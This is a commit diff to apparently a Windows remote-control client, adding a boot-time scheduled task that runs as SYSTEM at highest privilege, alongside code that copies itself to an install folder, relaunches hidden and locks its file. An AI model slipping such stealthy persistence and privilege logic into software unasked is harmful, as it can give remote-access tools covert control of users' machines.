Feature: Client running as SYSTEM and support remote control

This commit is contained in:
yuanyuanxiang
2026-06-29 20:29:16 +02:00
parent 92f6683fe1
commit 3a6cc7b936
14 changed files with 272 additions and 70 deletions

View File

@@ -30,7 +30,7 @@ inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wc
MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize);
}
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin)
int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run, BOOL runasAdmin, BOOL systemBoot)
{
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
@@ -139,11 +139,11 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection);
if (SUCCEEDED(hr)) {
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger);
hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, systemBoot ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON, &pTrigger);
pTriggerCollection->lpVtbl->Release(pTriggerCollection);
if (SUCCEEDED(hr)) {
// 普通用户需要指定具体用户
if (!runasAdmin) {
if (!systemBoot && !runasAdmin) {
ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->lpVtbl->QueryInterface(pTrigger, &IID_ILogonTrigger, (void**)&pLogonTrigger);
if (SUCCEEDED(hr)) {
@@ -200,10 +200,18 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
// 权限配置
IPrincipal* pPrincipal = NULL;
if (runasAdmin && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN);
if ((runasAdmin || systemBoot) && SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) {
hr = pPrincipal->lpVtbl->put_LogonType(pPrincipal, systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN);
if (FAILED(hr)) Mprintf("put_LogonType 失败,错误代码:%ld\n", hr);
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, runasAdmin ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
if (systemBoot)
{
BSTR sys = SysAllocString(L"SYSTEM");
hr = pPrincipal->lpVtbl->put_UserId(pPrincipal,sys);
if (FAILED(hr))
Mprintf("put_UserId失败:%ld\n", hr);
SysFreeString(sys);
}
hr = pPrincipal->lpVtbl->put_RunLevel(pPrincipal, (runasAdmin || systemBoot) ? TASK_RUNLEVEL_HIGHEST : TASK_RUNLEVEL_LUA);
if (FAILED(hr)) Mprintf("put_RunLevel 失败,错误代码:%ld\n", hr);
pPrincipal->lpVtbl->Release(pPrincipal);
} else {
@@ -235,9 +243,9 @@ int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,cons
bstrTaskName,
pTask,
TASK_CREATE_OR_UPDATE,
runasAdmin ? vUser : empty,
systemBoot ? empty : (runasAdmin ? vUser : empty),
empty,
TASK_LOGON_INTERACTIVE_TOKEN,
systemBoot ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN,
empty,
&pRegisteredTask
);
@@ -289,6 +297,40 @@ BOOL IsRunningAsAdmin()
return isAdmin;
}
BOOL IsSystem()
{
HANDLE token = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token))
return FALSE;
DWORD size = 0;
GetTokenInformation(token, TokenUser, NULL, 0, &size);
PTOKEN_USER user = (PTOKEN_USER)malloc(size);
if (!user) { CloseHandle(token); return FALSE; }
BOOL result = FALSE;
if (GetTokenInformation(token, TokenUser, user, size, &size))
{
SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
PSID systemSid = NULL;
AllocateAndInitializeSid(&nt, 1,
SECURITY_LOCAL_SYSTEM_RID,
0, 0, 0, 0, 0, 0, 0,
&systemSid);
result = EqualSid(user->User.Sid, systemSid);
FreeSid(systemSid);
}
free(user);
CloseHandle(token);
return result;
}
BOOL LaunchAsAdmin(const char* szFilePath, const char* verb)
{
SHELLEXECUTEINFOA shExecInfo;
@@ -348,7 +390,7 @@ const char* GetInstallDirectory(const char * startupName)
return folder;
}
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log)
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
{
#ifdef _DEBUG
return 1;
@@ -368,8 +410,12 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
char dstFile[MAX_PATH] = { 0 };
sprintf(dstFile, "%s\\%s.exe", folder, exeName);
BOOL isAdmin = IsRunningAsAdmin();
if (isAdmin) runasAdmin = true;
BOOL isAdmin = IsRunningAsAdmin() || IsSystem();
bool bootRun = false;
if (isAdmin) {
bootRun = runasAdmin == 2;
runasAdmin = true;
}
if (_stricmp(curFile, dstFile) != 0) {
if (!isAdmin) {
if (runasAdmin) {
@@ -389,7 +435,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n",
curFile, dstFile, b ? "succeed" : "failed", GetLastError());
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin);
int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE, runasAdmin, bootRun);
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
if (b && status) {
int ret = (int)ShellExecuteA(NULL, "open", dstFile, NULL, NULL, SW_HIDE);
@@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
return 0;
}
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
if (lockFile)
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);